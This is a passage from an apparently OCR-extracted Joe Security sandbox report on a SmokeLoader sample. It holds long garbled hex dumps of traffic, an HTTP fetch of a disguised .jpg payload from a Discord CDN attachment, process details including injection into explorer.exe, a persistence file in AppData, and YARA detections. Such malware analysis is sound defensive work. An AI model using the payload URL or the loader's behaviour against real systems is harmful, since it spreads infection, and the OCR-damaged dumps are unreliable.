Data Ascii: RY X tt x YR x Oxk x OOE x tx x tx X OOE x tR x Oox x OOk x Ox0 x OxY x Rk x YE X Rk x RR x Yt x Yt x Oxt
X tR x 000 X tx x to X OO0 X to X KY x Oxt x RY X RY x tx x OXQ x YY X Rt x kx X RR X RY X RY X tx x OxQ x tK x ko x Kk
x Rt x tK x kk x Ox0 x 000 x

2021-10-29 18:29:21 UTC 2467 IN Data Raw: 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 74 20 78 20 4f 78 4b 20 78 20 51 51 20 78 20 59 78 20 78 20 6b
7820 78 20 4b 74 20 78 20 4b 74 20 78 20 51 74 20 78 20 4f 78 6b 20 78 20 4f 6f 4f 20 78 20 74 52 20 78 20 4f 6f 78 20
78 20 4f 4f 74 20 78 20 4f 78 4b 20 78 20 6b 4b 20 78 20 59 78 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 51
7420 78 20 4f 78 59 20 78 20 4b 45 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 74 20 78 20 4f 78 4b 20 78 20 74 59
20 782059 78 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 51 74 20 78 20 4f 78 59 20 78 20 4f 78 59 20 78
2074 52 20 78 20 4f 6f 78 20 78 20 4f 4f 74 20 78 20 4f 78 4b 20 78 20 52 52 20 78 20 59 78 20 78 20 6b 78 20 78 20 4b
7420 78 20 4b 74 20 78 20 51 74 20 78 20 4f 78 59 20 78
Data Ascii: X tR x Oox x OOt x OxK x QQ X Yx x kx x Kt x Kt x Qt x Oxk x 000 x tR x Oox x OOt x OxK x kK x Yx x kx x Kt
x Kt x Qt x OXY X KE X tR x Oox x OOt x OxK x tY x Yx x kx x Kt x Kt x Qt x OXY x OxY X tR x Oox x OOt x OXK x RR X Yx
X kx x Kt x Kt X Qt x OXY X

2021-10-29 18:29:21 UTC 2483 IN Data Raw: 20 6b 59 20 78 20 74 4f 20 78 20 51 74 20 78 20 74 4b 20 78 20 4f 4f 6b 20 78 20 6b 4f 20 78 20 52 6b 20 78
2059 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4f 20 78 20 4f 78 59 20 78 20 52 6b 20 78 20 6b 51
20782052 59 20 78 20 52 59 20 78 20 74 78 20 78 20 51 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 78 20 6b 4f 20 78 20
745220 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 6b 20 78 20 6b 59 20 78 20 74 4f 20 78
20 51 74 20 78 20 74 4b 20 78 20 4f 4f 6b 20 78 20 6b 4f 20 78 20 52 6b 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20
78 20 4b 74 20 78 20 4f 4f 4f 20 78 20 51 51 20 78 20 4f 6f 6f 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74
7820 78 20 51 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 78 20 6b
Data Ascii: kY x tO x Qt x tK x OOk x kO x Rk x Yo x Kt x Kt x Kt x OO0 x OxY x Rk x kQ x RY x RY x tx x Qt x tk x OxK x
kO X tR x YK x Kt x Kt X Yt x kk X kY x tO x Qt x tK x OOk x kO x Rk x YK x Kt x Kt x Kt x OO0 x QQ x 000 x kQ x RY x
RY x tx x Qt x tk x OxK x k

2021-10-29 18:29:21 UTC 2499 IN Data Raw: 78 20 4f 6f 6f 20 78 20 4f 6f 6f 20 78 20 4f 4f 6b 20 78 20 6b 6f 20 78 20 4f 78 78 20 78 20 6b 45 20 78 20 74 51
20 78 20 74 78 20 78 20 4f 6f 78 20 78 20 59 4f 20 78 20 6b 59 20 78 20 4f 78 6f 20 78 20 4f 78 59 20 78 20 4b 6b 20 78
20 6b 51 20 78 20 4b 6b 20 78 20 4f 78 59 20 78 20 6b 59 20 78 20 6b 6b 20 78 20 59 52 20 78 20 4f 78 59 20 78 20 4f 4f
51 20 78 20 51 74 20 78 20 74 52 20 78 20 4f 6f 6f 20 78 20 4f 4f 6b 20 78 20 59 74 20 78 20 6b 4f 20 78 20 51 74 20 78
20 74 4f 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 4f 4f 4f 20 78 20 4f
78 4b 20 78 20 74 51 20 78 20 74 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 52 74 20 78 20 74 52 20 78
20 6b 6f 20 78 20 4f 78 6f 20 78 20 4f 6f 6f 20 78
Data Ascii: x ©00 x 000 x OOk x ko x Oxx x KE x tQ x tx x Oox x YO x KY x Oxo x OxY x Kk x kQ x Kk x OxY x kY x kk x
YR x OxY x O0Q x Qt x tR x 000 x OOk x Yt x kO x Qt x tO x OO0 x RY x OxY x Yt x OxR x OO0 x OxK x tQ x to x Kt x
Kt x KQ x Rt x tR x ko x Oxo x O00 x
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2021-10-29 18:29:21 UTC 2515 IN Data Raw: 52 52 20 78 20 4f 78 4f 20 78 20 4f 4f 51 20 78 20 59 78 20 78 20 4f 4f 6f 20 78 20 6b 4f 20 78 20 4b 74 20 78
20 4f 6f 6f 20 78 20 51 78 20 78 20 4f 4f 4f 20 78 20 4f 6f 4f 20 78 20 6b 78 20 78 20 6b 52 20 78 20 52 59 20 78 20 52 59
207820 74 51 20 78 20 4f 78 4b 20 78 20 59 45 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20
51 74 20 78 20 74 74 20 78 20 4f 4f 51 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20
78 20 4f 78 78 20 78 20 4f 78 45 20 78 20 6b 6f 20 78 20 4f 4f 4f 20 78 20 4b 45 20 78 20 6b 78 20 78 20 74 4b 20 78 20
5259 20 78 20 52 59 20 78 20 74 51 20 78 20 4f 78 4b 20 78 20 4f 4f 78 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20
782052 59 20 78 20 4f 78 45 20 78 20 59 52 20 78 20 6b
Data Ascii: RR x OxO x O0Q x Yx x 000 x kO x Kt x 000 x Qx x OO0 x 000 x kx x kR x RY x RY x tQ x OxK x YE x tK x
RY x RY X RY x Qt x tt x OOQ x Rt x RY x RY x Rk x Kt x Oxx x OXE x ko x OO0 x KE x kx x tK x RY x RY x tQ x OxK x
OOx x tK x RY X RY x RY x OXE x YR x k

2021-10-29 18:29:21 UTC 2531 IN Data Raw: 20 59 78 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 59 20 78 20 74 74 20 78 20 51 51 20 78
20 7478 20 78 20 59 6f 20 78 20 74 74 20 78 20 4f 78 4b 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 74 78 20 78 20 4f 78 78 20 78 20 6
b 4b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 78 52 20 78 20 59 45 20 78 20 74 74 20 78
20 4f 78 4b 20 78 20 52 52 20 78 20 52 59 20 78 20 74 59 20 78 20 74 6f 20 78 20 4f 78 74 20 78 20 4f 6f 4f 20 78 20 52 5
1207820525120 78205259 20 78 20 74 51 20 78 20 59 52 20 78 20 74 6b 20 78 20 4b 6b 20 78 20 52 51 20 78 20
6b 51 20 78 20 4b 51 20 78 20 74 6b 20 78 20 59 74 20 78 20 74 78 20
Data Ascii: Yx X kY X RY x RY x kY x tt x QQ x tx X Yo x tt x OxK x RR x RY x RY X RQ x RY X RY x RY x Rk x Kt x tx x O
xx X kK x RY x kO x RY x Rt X OxR x YE x tt x OxK X RR x RY x tY x to x Oxt x 000 x RQ x RQ x RY x tQ x YR x tk x Kk x
RQ x kQ x KQ x tk x Yt x tx

2021-10-29 18:29:21 UTC 2547 IN Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 59 78 20 78 20 74 78 20 78 20 52 59 20 78 20 4f 4f 6b 20
78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 4f 78 59 20 78 20
51 6b 20 78 20 4b 6b 20 78 20 52 59 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 4b 20
782074 74 20 78 20 52 51 20 78 20 6b 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 74 20 78 20 4f 78
52 20 78 20 6b 51 20 78 20 6b 59 20 78 20 52 74 20 78 20 4b 74 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20
6b 52 20 78 20 4b 51 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 4f 78 59 20 78 20 51 6b 20 78 20 4b 6b 20 78 20 52 59
2078 20 4b 74 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20
Data Ascii: X RY X RY x tE x Yx x tx x RY x OOk x OOK x Kt x Kt x KQ x RR x OxQ x OxY x Qk x Kk x RY x KE x OOk x Kt
X Kt x YK x tt x RQ x ko X RY x RY x RR x kt x OxR x kQ x kY x Rt x Kt x kx x Kt x Kt x kR x KQ x RR x OxQ x OxY x Qk x
Kk X RY x Kt x kx x Kt x Kt x

2021-10-29 18:29:21 UTC 2563 IN Data Raw: 78 20 6b 6b 20 78 20 74 78 20 78 20 4f 78 6f 20 78 20 4f 4f 4f 20 78 20 4f 78 51 20 78 20 52 59 20 78 20 4f 78
4520 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 6b 6b 20 78 20 52 59 20 78 20 6b 74 20 78 20 6b 52 20 78 20
4f 78 6b 20 78 20 4b 6b 20 78 20 74 6f 20 78 20 59 6f 20 78 20 4f 4f 6b 20 78 20 74 6f 20 78 20 59 4b 20 78 20 4f 6f 78 20
7820 59 78 20 78 20 52 6b 20 78 20 4f 4f 51 20 78 20 6b 6f 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 4f 4f 51 20 78 20 74
59 20 78 20 74 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 59 20 78 20 6b 4b 20 78 20 51 74 20 78 20
4f 78 45 20 78 20 4f 4f 6f 20 78 20 6b 74 20 78 20 4b 74 20 78 20 59 59 20 78 20 52 51 20 78 20 51 51 20 78 20 52 52 20
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20
Data Ascii: x kk x tx x Oxo x 000 x OxQ x RY x OXE x RY x RY x tE x kk x RY x kt x kR x Oxk x Kk x to x Yo x OOk x to x
YK x Oox x Yx x Rk x OO0Q x ko x Rk x OO0 x O0Q x tY x to x Kt x Kt x KE x OOY x kK x Qt x OXE x OO0 x kt x Kt x YY x
RQ x QQ x RR x RY X RY x RY x

2021-10-29 18:29:21 UTC 2579 IN Data Raw: 78 20 4f 78 6b 20 78 20 4f 4f 78 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78
2078 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 78 51 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78
20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 78 6b 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52
5920 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 78 74 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 7
820525920 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 78 52 20 78 20 74 74 20 78 20 74 4b 20 78 20 52
59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 4f 4b 20 78 20 74 74 20 78 20 74 4b 20 78
205259 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f
Data Ascii: x Oxk x OOx x tt X tK X RY X RY x kx X YR x Oxk x OxQ x tt X tK X RY x RY x kx x YR x Oxk x Oxk x tt x tK x
RY X RY X kx X YR x Oxk x Oxt x tt x tK x RY x RY X kx x YR x Oxk X OxR x tt x tK x RY x RY x kx x YR x Oxk x OOK x tt
X tK X RY X RY x kx x YR x O

2021-10-29 18:29:21 UTC 2595 IN Data Raw: 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4b 51
207820 52 59 20 78 20 74 4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b
6b 20 78 20 52 59 20 78 20 52 51 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 6b 4b 20 78 20 4f 78 45 20 78 20 52 59 20
78 20 59 6f 20 78 20 52 59 20 78 20 74 78 20 78 20 74 45 20 78 20 52 59 20 78 20 6b 52 20 78 20 52 59 20 78 20 52 52 2
07820 74 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 52 20 78 20 4f 4f 51 20 78 20 52
52 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 51 20 78 20 59 6f 20 78 20 52 59 20 78 20 74 6b 20 78 20 4f 4f 51 20 78 20
52 52 20 78 20 6b 45 20 78 20 52 59 20 78 20 74 78 20 78 20 6b 4f
Data Ascii: x tO x kO X RY x kY x OXE x RR X KQ x RY x tO x Yo X RY X RY X RY X RR X kk x RY x RQ x Oxt x RY x kK x
OXE X RY X YoX RY x tx X tE X RY X KR x RY X RR x tk x RY X RY X RY X RY X kR x OOQ x RR x tK x RY x RQ x Yo x RY
x tk x O0OQ x RR X kE x RY x tx x kO

2021-10-29 18:29:21 UTC 2611 IN Data Raw: 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52
5920 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78
205259 20 78 20 52 52 20 78 20 74 78 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 51 51 20
78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 74
4520 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20
74 51 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 59 20 78 20 52 59 2
0782051 51 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20
Data Ascii: x OOY x RY x tO x O0Q x RY X RY x RY X RY X RY X RY x tx x OOQ x RY X RY x RY X RR x tx X RY x to x
tE X RY X QQ x OXE x RR x OOk x RY x to X tE x RY x tE x RY x RY x Oxk x RY x tO x kO x RY X tQ x OXE x RY x OXE x
RY x Rt x KY x RY x QQ x O0Q x RY x RY

2021-10-29 18:29:21 UTC 2627 IN Data Raw: 20 78 20 4f 4f 78 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f
51 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 51 20 78 20
4f 78 45 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 74 45
20782052 59 20 78 20 52 59 20 78 20 74 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 6b
6f 20 78 20 6b 4f 20 78 20 52 52 20 78 20 52 52 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 78 45 20 78 20 52 59 20 78 20
6b 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 45 20 78 20 52 59 20
7820 74 52 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 59
Data Ascii: x OOx x RY x tO x Oxt x RY x QQ x O0Q x RR x Kk x RY x tO x kY x RY x QQ x OxE x RR x O00 x RY x Rk x
OO0 xRY x tE X RY X RY x tk X RY X RY x OO0 x RY x ko x kO x RR x RR x RY x tx X OXE x RY x kx x kO x RY x Oxk x
RY x Rk x OXE x RY x tR x OXE x RY x Y
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kBytes
Timestamp transferred

2021-10-29 18:29:21 UTC 2643

Session ID Source IP

4 192.168.2.3
kBytes

Timestamp transferred

2021-10-29 18:29:22 UTC 2653

2021-10-29 18:29:22 UTC 2653

2021-10-29 18:29:22 UTC 2654

2021-10-29 18:29:22 UTC 2654

2021-10-29 18:29:22 UTC 2655

2021-10-29 18:29:22 UTC 2657

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49829

Direction

ouT

IN

Data

Data Raw: 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 74 45 20 78 20 59 4b 20 78 20 52 59 20 78 20 52
59 20 78 20 52 59 20 78 20 74 6f 20 78 20 4f 4f 74 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20
52 6b 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 45 20 78 20 59 45 20 78 20 6b 4f 20
782052 59 20 78 20 52 59 20 78 20 6b 74 20 78 20 74 51 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f
20 78 20 59 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 45 20 78 20 59 45 20 78 20 6
b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 74 51 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 2
074 52 20 78 20 6b 4b 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20

Data Ascii: OO X RY x RY x Rk x tE x YK X RY X RY x RY x to x OOt x kY X RY X RY x Rk x Rk x Oxk x RY x RY x RY x
KE x YE x kO x RY x RY x kt x tQ x KY X RY X RY x tO x YY x Oxk X RY x RY x Rt x tE x YE x kO x RY x RY x OO0 x tQ x
KY x RY X RY X tR x kK x Oxk x RY x

Destination IP Destination Port Process

162.159.130.233 443 C:\Users\user\AppData\Local\Temp\4F44.exe

Data

GET /attachments/893177342426509335/902526117016109056/AB0F9338.jpg HTTP/1.1
Host: cdn.discordapp.com

HTTP/1.1 200 OK

Date: Fri, 29 Oct 2021 18:29:22 GMT

Content-Type: image/jpeg

Content-Length: 345655

Connection: close

CF-Ray: 6a5e78102f124ab0-FRA

Accept-Ranges: bytes

Age: 87746

Cache-Control: public, max-age=31536000

ETag: "d05714d4497c7b55b2c0b1609chd62c9"

Expires: Sat, 29 Oct 2022 18:29:22 GMT

Last-Modified: Tue, 26 Oct 2021 11:56:34 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Cf-Bgj: h2pri

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1635249394465681

X-goog-hash: crc32c=to49mQ==

x-goog-hash: md5=0FcU1EI8e1WywLFgnL1liyQ==

X-goog-metageneration: 1

X-go0g-storage-class: STANDARD

X-goog-stored-content-encoding: identity

X-goog-stored-content-length: 345655

X-GUploader-UploadID: ADPycds4slyz_GzjlugLy9_WqK029_2RU2KSIIfGIpMQJIZx1WvXGDydhZDvUpsH4QNom
t1ATbnkYUYCcRxSnB_xGGebc

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Report-To: {"endpoints":[{"url":"https:VWa.nel.cloudflare.comV/report\/\v3?s=%2BA4VANfHA17IXRSE3s4lISPzpZR2te
%2BeJUwPpbivcxag9x%2BdumDbauWT3%2BW8r7JgNLSxDY%2BLC2ajuHdXH3Sv09%2FEpeKWKASfNbHg
6aCuxS6mwli3y6caZXPSYQEIIEJtAFtS8ig%3D%3D"}],"group":“cf-nel”,"max_age":604800}

Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f
22 3a 22 63 66 2d 6e 65 6¢ 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63
6c 6f 75 64 66 6¢ 61 72 65 0d Oa 0d Oa

Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

Data Raw: 78 20 52 51 20 78 20 74 6b 20 78 20 4f 6f 4f 20 78 20 51 78 20 78 20 6b 74 20 78 20 74 78 20 78 20 4b 6b 20
782051 78 20 78 20 6b 52 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 51 6b 20 78 20 59 78 20 78 20 74 6b 20 78 20 4f 78
6b 20 78 20 51 51 20 78 20 59 4f 20 78 20 74 6b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20
4b 6b 20 78 20 52 59 20 78 20 52 51 20 78 20 74 6b 20 78 20 4f 4f 59 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 6b 20 78
20 4f 78 6b 20 78 20 6b 45 20 78 20 74 4f 20 78 20 74 78 20 78 20 4f 4f 74 20 78 20 51 78 20 78 20 74 4f 20 78 20 4f 6f 78
20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 6b 20 78 20 6b 59 20 78 20 59 78 20 78 20
6b 52 20 78 20 4b 6b 20 78 20 6b 6f 20 78 20 6b 74 20 78 20

Data Ascii: X RQ x tk X 000 x Qx x kt x tx X Kk x Qx x kR x RR x 000 x Qk x Yx x tk x Oxk x QQ x YO x tk x kk x RY x RY
X RY x Kk x RY x RQ x tk x OOY x Qk x YO x tk x Oxk x kE x tO x tx x OOt x Qx X tO x Oox x Oxk x RY x RR x kO x Rk x
kY x Yx x kR x Kk x ko x kt x

Data Raw: 20 6b 74 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 59 74 20 78 20 4f 78 52 20
782051 78 20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 6b 4b 20 78 20 6b 74 20 78 20 6b 52 20 78 20 4f 4f
5220 78 20 51 6b 20 78 20 59 4f 20 78 20 74 4b 20 78 20 59 45 20 78 20 52 59 20 78 20 74 59 20 78 20 52 51 20 78 20
52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 59 20 78 20 74 6f 20 78 20 74 4b 20 78
20 4f 4f 6b 20 78 20 6b 51 20 78 20 59 78 20 78 20 6b 52 20 78 20 4f 6f 6f 20 78 20 51 51 20 78 20 4b 6b 20 78 20 74 78
20 78 20 4f 78 51 20 78 20 51 78 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 4f 74 20 78 20 51 74 20 78 20 6b 6b 20
78 20 6b 6f 20 78 20 59 45 20 78 20 6b 4b 20 78 20 6b 74 20 78

Data Ascii: kt x ko x kO x QQ x OxQ x Yt x OxR x Qx X kk x tk x 000 x kK x kt x kR x OOR x Qk x YO x tK x YE x RY x tY
X RQ x RR x ko x Yx x kR x Kk x KY x to x tK x OOk x kQ x Yx x kR x 000 x QQ x Kk x tx x OxQ x Qx x OxQ x Oxk x OOt
x Qt x kk x ko x YE x kK x kt x

Data Raw: 20 6b 6f 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 6b 74 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78
2074 45 20 78 20 74 45 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 4b 20
78 20 6b 74 20 78 20 59 74 20 78 20 4f 78 74 20 78 20 4f 78 78 20 78 20 6b 74 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78
20 6b 45 20 78 20 74 4f 20 78 20 74 78 20 78 20 4f 4f 74 20 78 20 51 78 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 4f 78
6b 20 78 20 6b 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 52 20 78 20 52 59 20 78 20 74 78 20 78
20 74 6f 20 78 20 51 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 52 51 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 4f 78 6b
20 7820 59 78 20 78 20 51 78 20 78 20 6b 52 20 78 20 6b 6f 20

Data Ascii: ko x O00 x Qk x kt x KY X RY X RY x tE x tE X RR x ko x Yx x kR x Kk x kK x kt x Yt x Oxt x Oxx x kt x Oox x
Oxk x kE x tO x tx x OOt x Qx x tO x Oox x Oxk x kR x O0Q x RY x RY x kR x RY x tx x to x Qx x kk x ko x RQ x QQ x
OxQ x Oxk x Yx x Qx x kR x ko
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kBytes
Timestamp transferred Direction

2021-10-29 18:29:22 UTC 2658 IN

Code Manipulations

Statistics

Behavior

)

Click to jump to process

System Behavior

Data

Data Raw: 20 78 20 4b 51 20 78 20 51 6b 20 78 20 74 4f 20 78 20 6b 52 20 78 20 74 4f 20 78 20 51 74 20 78 20 6b 74 20
78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 6b 4b 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 4f 4f 52 20 78 20 51 78 20 78
20 6b 52 20 78 20 51 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 74 20 78 20 6b 4b 20
782074 4f 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 51 74 20 78 20 4b 51 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51
512078 20 59 78 20 78 20 59 74 20 78 20 4b 51 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 74 6b 20 78 20 4f 78 6b 20
782052 59 20 78 20 52 59 20 78 20 52 52 20 78 20 51 51 20 78 20 52 59 20 78 20 4f 78 74 20 78 20 4f 6f 78 20 78 20 4f
4f 6b 20 78 20 6b 51 20 78 20 59 78 20 78 20 74 78 20 78 20 4f

Data Ascii: x KQ x Qk x tO x kR x tO x Qt x kt x Oox x Oxk x kK x OxQ x tx x OOR x Qx x kR x QQ x RY x RY x tO x kY x
Rt x kK x tO x Yt x OxR x Qt x KQ x tK x Oxk x QQ x Yx x Yt x KQ x QQ x OxQ x tk x Oxk x RY x RY x RR x QQ x RY x
Oxt x Oox x OOk x kQ x Yx x tx x O

Analysis Process: CFE9H9mdWr.exe PID: 6832 Parent PID: 4768

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

20:27:56

29/10/2021
C:\Users\user\Desktop\CFE9H9mMdWr.exe
true
‘C:\Users\user\Desktop\CFE9HImMdWr.exe'
0x400000

343552 bytes
C5A077A9785424C21611801DB5DDOF95
true

true

C, C++ or other language

low

Analysis Process: CFE9H9mdWr.exe PID: 6892 Parent PID: 6832

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Copyright Joe Security LLC 2021

20:27:57

29/10/2021
C:\Users\user\Desktop\CFE9H9mMdWr.exe
true
‘C:\Users\user\Desktop\CFE9H9mdWr.exe'
0x400000

343552 bytes
C5A077A9785424C21611801DB5DDOF95

true
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Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source:
00000003.00000002.343715666.00000000005A1000.00000004.00020000.sdmp, Author:
Joe Security

e Rule: JoeSecurity_SmokelLoader_2, Description: Yara detected SmokeLoader, Source:
00000003.00000002.343625183.0000000000460000.00000004.00000001.sdmp, Author:

Joe Security
Reputation: low
Analysis Process: explorer.exe PID: 3352 Parent PID: 6892
General
Start time: 20:28:04
Start date: 29/10/2021
Path: C:\Windows\explorer.exe
Wow64 process (32bit): false
Commandline: C:\Windows\Explorer.EXE
Imagebase: 0x7ff720ea0000
File size: 3933184 bytes
MDS5 hash: AD5296B280E8F522A8A897C96BABOEL1D
Has elevated privileges: false
Has administrator privileges: false
Programmed in: C, C++ or other language
Yara matches: e Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source:
0000000C.00000000.331439665.0000000004E91000.00000020.00020000.sdmp, Author:
Joe Security
Reputation: high
File Activities Show Windows behavior
File Created
File Deleted
File Written
Analysis Process: bsstvub PID: 7000 Parent PID: 664
General
Start time: 20:28:42
Start date: 29/10/2021
Path: C:\Users\user\AppData\Roaming\bsstvub
Wow64 process (32bit): true
Commandline: C:\Users\user\AppData\Roaming\bsstvub
Imagebase: 0x400000
File size: 343552 bytes
MDS5 hash: C5A077A9785424C21611801DB5DDOF95
Has elevated privileges: false
Has administrator privileges: false
Programmed in: C, C++ or other language

Reputation: low

Analysis Process: 12C6.exe PID: 7040 Parent PID: 3352
